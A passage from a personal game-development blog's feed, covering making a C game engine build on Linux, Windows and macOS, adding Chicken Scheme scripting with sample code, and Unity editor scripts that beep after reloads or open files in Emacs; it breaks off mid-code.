another hard problem, and that is making it cross-platform. At the very least, my engine should be able to deploy to Linux, Windows, and MacOSX.&lt;/p&gt;
&lt;p&gt;&lt;img alt="rebel-game-engine-now-works-on-different-platforms-01" src="https://www.accidentalrebel.com/images/rebel-game-engine-now-works-on-different-platforms-01.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;It might seem silly to be working on this while the engine is still in its early stages, but I think it is better to get this out of the way before the codebase becomes huge. With a small codebase I was able to easily identify the causes of the problems as I was porting them.&lt;/p&gt;
&lt;p&gt;It still wasn't a walk in the park, however. Being inexperienced with developing C programs on other platforms (I've only done it mostly in Linux) I had to do research and do a lot of trial and error. I learned so much about cross-compilers, portable makefiles, and the quirks of different package managers.&lt;/p&gt;
&lt;p&gt;After a week of this I was finally able to get the engine working on all three platforms. To make sure others can be able to do the same, I also documented the steps which can now be read on &lt;a href="https://github.com/accidentalrebel/rebel-game-engine/wiki"&gt;the project's wiki&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;I was surprised that the hardest one to get working was for Windows. Because I didn't want to create a separate build system that uses Visual Studio solution files, I had to find a simple way to make it work and that involved the use of an excellent building platform for Windows called &lt;a href="https://www.msys2.org/"&gt;Msys2&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;I am quite happy that I was able to structure the whole system so that you only need one Makefile for all three platforms. I'm not sure if this wil change in the future, but I'll do my best for it to stay like this as long as it's possible.&lt;/p&gt;
&lt;p&gt;If you are interested to try it out here's the project's &lt;a href="https://github.com/accidentalrebel/rebel-game-engine"&gt;Github page&lt;/a&gt;, depending on your platform here are the instructions on how to build for each one: &lt;a href="https://github.com/accidentalrebel/rebel-game-engine/wiki/Building-and-running-the-engine-for-Arch-Linux"&gt;Linux&lt;/a&gt;, &lt;a href="https://github.com/accidentalrebel/rebel-game-engine/wiki/Building-and-running-the-engine-for-MacOSX"&gt;MacOSX&lt;/a&gt; and &lt;a href="https://github.com/accidentalrebel/rebel-game-engine/wiki/Building-and-running-the-engine-for-Windows-(using-Msys2)"&gt;Windows&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Next in this series: &lt;a href="https://www.accidentalrebel.com/following-lispy-conventions.html"&gt;applying Lispy naming conventions to the engine's scripting API&lt;/a&gt;.&lt;/p&gt;</content><category term="Misc"/><category term="dev"/><category term="game_engine"/></entry><entry><title>#2 - Implemented basic Scheme scripting for Rebel Game Engine</title><link href="https://www.accidentalrebel.com/implemented-basic-scheme-scripting-for-rebel-game-engine.html" rel="alternate"/><published>2020-05-07T21:35:00+08:00</published><updated>2020-05-07T21:35:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-05-07:/implemented-basic-scheme-scripting-for-rebel-game-engine.html</id><summary type="html">&lt;p&gt;Adding Chicken Scheme scripting to a C game engine — switching to a functional design, wiring up the FFI, and navigating garbage collector memory management.&lt;/p&gt;</summary><content type="html">&lt;p&gt;When I first learned about &lt;a href="http://synthcode.com/wiki/chibi-scheme"&gt;Chibi&lt;/a&gt;, an embeddable scheme that allows scripting on C programs, I immediately tried it out on my game engine. I was able to make it work with my existing APIs but I kept on running against segfaults and memory issues. The community was helpful in answering my questions as I tried to track down the cause of the bug, but I eventually gave up out of frustration.&lt;/p&gt;
&lt;p&gt;I then learned about &lt;a href="http://wiki.call-cc.org/eggref/5/bind"&gt;Chicken Scheme&lt;/a&gt;, a somewhat competitor to Chibi that does the same thing but with a larger community and more documentation. I checked it out and liked it so I went ahead and implemented it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="implemented-basic-scheme-scripting-for-rebel-game-engine-01" src="https://www.accidentalrebel.com/images/implemented-basic-scheme-scripting-for-rebel-game-engine-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;Thankfully I have not experienced any segfaults anymore. It's not because Chicken is better (I don't know well enough of the two to make a good comparison) but because I've come to better understand how to properly structure my code after two implementations.&lt;/p&gt;
&lt;p&gt;And my code did change a lot. The biggest change is switching from an object oriented approach to functional style so that it would suit Lisp scripting. I also paid special attention in making sure that whatever change I made would make sense when the game engine is used without scripting. My guiding principle is that implementing a game on both C and Scheme should be structurally identical, aside from the difference in syntaxes, of course.&lt;/p&gt;
&lt;p&gt;Here's a simple program wher you could move a colored box using the keyboard:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-sprite&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;init&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;set!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-sprite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sprite_create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;assets/textures&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;tile&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;png&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;set!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;make_vec3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;#t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;window_clear&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;is_key_down&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KEY_COMMA&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;set_vec3_y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get_vec3_y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;is_key_down&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KEY_O&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;set_vec3_y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get_vec3_y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;is_key_down&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KEY_E&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;set_vec3_x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get_vec3_x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;is_key_down&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;KEY_A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;set_vec3_x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;get_vec3_x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nf"&gt;tint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;make_vec3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sprite_draw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-sprite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;box-pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;tint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;#f&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;window_swap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;#t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Implementing Lisp, and coding with it has been very fun too. I've had the most fun when &lt;a href="http://wiki.call-cc.org/eggref/5/bind"&gt;I implemented the FFI&lt;/a&gt;. Every time I go through the wiki I find a better way of doing things so I'd go and re-implement them again. Each iteration I learn something new and it's such a joy exploring.&lt;/p&gt;
&lt;p&gt;Playing with the garbage collector has also made me think about memory management more. This resulted in having two ways to call certain API functions: one will return a pointer that will automatically get tracked by the GC. The other you'd have to free manually. I figured this is a good approach for situations when having control over memory and references is crucial.&lt;/p&gt;
&lt;p&gt;I've already spent a lot of time on this project and it was mostly spent on the scripting side of the engine. There are still more to do for it to be considered useful but I'm happy I was able to learn a lot.&lt;/p&gt;
&lt;p&gt;If you are curious about the engine you could check it out &lt;a href="https://github.com/accidentalrebel/Rebel-Game-Engine"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Next: &lt;a href="https://www.accidentalrebel.com/rebel-game-engine-now-works-on-different-platforms.html"&gt;making the Rebel Game Engine build on Linux, Windows, and macOS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For the low-level FFI details used to wire Chicken Scheme into C, see &lt;a href="https://www.accidentalrebel.com/chicken-scheme-ffi-examples.html"&gt;Chicken Scheme FFI Examples&lt;/a&gt;.&lt;/p&gt;</content><category term="Misc"/><category term="lisp"/><category term="game_engine"/><category term="dev"/></entry><entry><title>#1 - Thinking of adding Lisp to my custom game engine</title><link href="https://www.accidentalrebel.com/thinking-of-adding-lisp-to-my-custom-game-engine.html" rel="alternate"/><published>2020-05-03T11:19:00+08:00</published><updated>2020-05-03T11:19:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-05-03:/thinking-of-adding-lisp-to-my-custom-game-engine.html</id><summary type="html">&lt;p&gt;Exploring Chibi-Scheme as a scripting layer for a custom C game engine, and why adding Lisp scripting means rethinking the object-oriented architecture.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I've long wondered if I should add a scripting language to &lt;a href="https://github.com/accidentalrebel/Rebel-Game-Engine"&gt;my game engine&lt;/a&gt;. I know that most game engines could do without such a feature but I just recently came across &lt;a href="https://github.com/ashinn/chibi-scheme"&gt;Chibi-Scheme&lt;/a&gt;, a library that allows the use of Scheme lisp scripting for C programs. &lt;/p&gt;
&lt;p&gt;I like Lisp. I use it a lot when customizing my Emacs environment (&lt;a href="https://github.com/accidentalrebel?tab=repositories&amp;amp;q=&amp;amp;type=&amp;amp;language=emacs+lisp"&gt;using ELisp&lt;/a&gt;). There's something about it's syntax and different way to structure programs that appeals to my programmer brain. I've toyed with other Lisp flavors but never had a strong enough reason to continue using them. With Chibi-scheme I may have found that reason.&lt;/p&gt;
&lt;p&gt;&lt;img alt="thinking-of-adding-lisp-to-my-custom-game-engine-01" src="https://www.accidentalrebel.com/images/thinking-of-adding-lisp-to-my-custom-game-engine-01.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;I am aware that Lisp is not as widespread as Lua or Javascript. And that choosing it might limit the number of potential people to try out my game engine. But as I've been telling myself over and over, this is a self-learning project. So it's okay if no one would try it out as long as I get to learn from it.&lt;/p&gt;
&lt;p&gt;This morning I started implementing a simple implementation of Chibi. Thankfully, it's easy to setup. However, the more I implement it the more that I realize that I may need to change how my engine is structured to better suit Lisp's functional nature. This means less object oriented design similar to how &lt;a href="https://www.raylib.com/index.html"&gt;Raylib&lt;/a&gt; does things. &lt;/p&gt;
&lt;p&gt;I still need some time to think this through. I am open to do the changes needed if I am to include a scripting language. I just want to make sure if my engine would really need it. We'll see.&lt;/p&gt;
&lt;p&gt;Follow-up: &lt;a href="https://www.accidentalrebel.com/implemented-basic-scheme-scripting-for-rebel-game-engine.html"&gt;I implemented basic Chicken Scheme scripting for the Rebel Game Engine&lt;/a&gt;.&lt;/p&gt;</content><category term="Misc"/><category term="dev"/><category term="lisp"/><category term="engine"/></entry><entry><title>Making Unity beep after scripts finish reloading</title><link href="https://www.accidentalrebel.com/making-unity-beep-after-scripts-finish-reloading.html" rel="alternate"/><published>2020-05-01T17:07:00+08:00</published><updated>2020-05-01T17:07:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2020-05-01:/making-unity-beep-after-scripts-finish-reloading.html</id><summary type="html">&lt;p&gt;A Unity editor script that plays an audible beep when script reloading finishes, so you can look away from the screen instead of watching the progress spinner.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Our latest game, HistoHunters, has grown into a really big project that compilation now takes a really long time. Longer than no sane programmer wants it to be. It has gotten so bad that changing a single file would take about a minute for recompilation! &lt;/p&gt;
&lt;p&gt;Thankfully, I have managed to shorten this wait time through the use of &lt;a href="https://coffeebraingames.wordpress.com/2018/01/21/reducing-compile-time-in-unity-using-assembly-definition-files/"&gt;assembly definitions&lt;/a&gt;. If you have a big Unity project and compile times are slow, this is the solution to that. Just for kicks I also purchased an SSD and that also helped reduce compile times (Not much as the assembly definitions though).&lt;/p&gt;
&lt;p&gt;However, in spite of these changes compiling still takes a few seconds to reload scripts. This seems to be the lowest it could go. While this is definitely better, I can't help but feel that the seconds spent waiting is wasted.&lt;/p&gt;
&lt;p&gt;&lt;img alt="making-unity-beep-after-scripts-finish-reloading-02" src="https://www.accidentalrebel.com/images/making-unity-beep-after-scripts-finish-reloading-02.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;I recently got the idea of having Unity inform me when a script has finished reloading. Instead of informing me visually, I decided that it would also be better for it to play an audible beep sound. With this, I could use the time to close my eyes, relax, or stretch. Once it beeps I'll just open my eyes and I'm back to working again. Once it beeps I'll just open my eyes and I'm back to working again. It's such a simple thing but I feel has a good impact on my health.&lt;/p&gt;
&lt;p&gt;Here's the code that I use if you are interested. Note that this is an editor script so it should be placed inside any "Editor" folder for it to run.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;System.Collections&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;System.Collections.Generic&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;UnityEngine&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;UnityEditor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;System.Diagnostics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;BuildManager&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MonoBehaviour&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;[UnityEditor.Callbacks.DidReloadScripts]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;OnScriptsReloaded&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;EditorApplication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Beep&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code above uses Unity's &lt;a href="https://docs.unity3d.com/ScriptReference/EditorApplication.Beep.html"&gt;EditorApplication.Beep()&lt;/a&gt; API so it should work on Windows and Mac. But since I'm using Linux to develop games on it does not seem to work for me. &lt;/p&gt;
&lt;p&gt;Here's a different version that spawns a OS process and runs the &lt;code&gt;play&lt;/code&gt; command to generate a short sine wave beep. Be sure to have &lt;a href="http://sox.sourceforge.net/"&gt;sox&lt;/a&gt; installed on your Linux machine for this to work.&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ProcessStartInfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ProcessStartInfo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FileName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;play&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Arguments&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;-q -n synth 0.1 sin 880 vol 0.2&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WindowStyle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ProcessWindowStyle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Minimized&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;CreateNoWindow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Of course, this is not a solution to the compile time problem. I'd still have to wait for it to finish. But what I like about this is that it has turned a negative into a positive. And that is always great.&lt;/p&gt;</content><category term="Misc"/><category term="dev"/><category term="unity"/></entry><entry><title>Opening Unity Script Files in Emacs</title><link href="https://www.accidentalrebel.com/opening-unity-script-files-in-emacs.html" rel="alternate"/><published>2018-01-24T14:32:00+08:00</published><updated>2018-01-24T14:32:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2018-01-24:/opening-unity-script-files-in-emacs.html</id><summary type="html">&lt;p&gt;How to open Unity script files in Emacs with correct line numbers using the OnOpenAssetAttribute callback and emacsclient.&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;img alt="01" src="https://i.imgur.com/9XWvvi0.png" /&gt;&lt;/p&gt;
&lt;p&gt;I've recently embarked on a mission to fully integrate &lt;a href="https://www.gnu.org/software/emacs/"&gt;Emacs&lt;/a&gt; with my Unity game development environment. One feature that I wanted to have is the ability to open Unity scripts and text-based files in Emacs instead of MonoDevelop. This is an easy task for supported external editors but for those who aren't (Like Emacs), doing something like this is a bit tricky.&lt;/p&gt;
&lt;p&gt;Setting &lt;a href="https://www.gnu.org/software/emacs/manual/html_node/emacs/Invoking-emacsclient.html"&gt;emacsclient&lt;/a&gt; as the external editor works in opening the files but the line number is not passed at all (Or is not received by emacs. &lt;a href="https://forum.unity.com/threads/external-editor-arguments-issue.350473/"&gt;Seems to be a bug&lt;/a&gt;). This means that opening files in the Project Window works but you would not be able to to jump to lines that have errors from the Console. This, of course, is unacceptable.&lt;/p&gt;
&lt;p&gt;&lt;img alt="02" src="https://i.imgur.com/8gcVuom.png" /&gt;&lt;/p&gt;
&lt;p&gt;I've tried a number of different solutions. A lot of them are hacky but clever. There was this one option of setting a &lt;a href="https://github.com/bbbscarter/EmacsProxy"&gt;Sublime Text proxy&lt;/a&gt; as a external editor and then having that application call Emacs with the correct line number. I was not able to make it work but the idea fascinated me. There was also one that involved using Mac OS X's Automator where you &lt;a href="https://stackoverflow.com/a/1857220"&gt;wrap a shell script as an automator app&lt;/a&gt; and you set that as the external editor. Didn't work either but it did teach me about Automator and it's future possible uses for my environment.&lt;/p&gt;
&lt;p&gt;Thankfully, there was one solution that worked and it involved creating a .cs file and setting up a function with OnOpenAssetAttribute callback attribute. This function is called when Unity receives a command to open an asset. From here we start a process that invokes emacsclient with the correct file and line numbers. &lt;/p&gt;
&lt;p&gt;Here is a short example:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;[OnOpenAssetAttribute()]&lt;/span&gt;
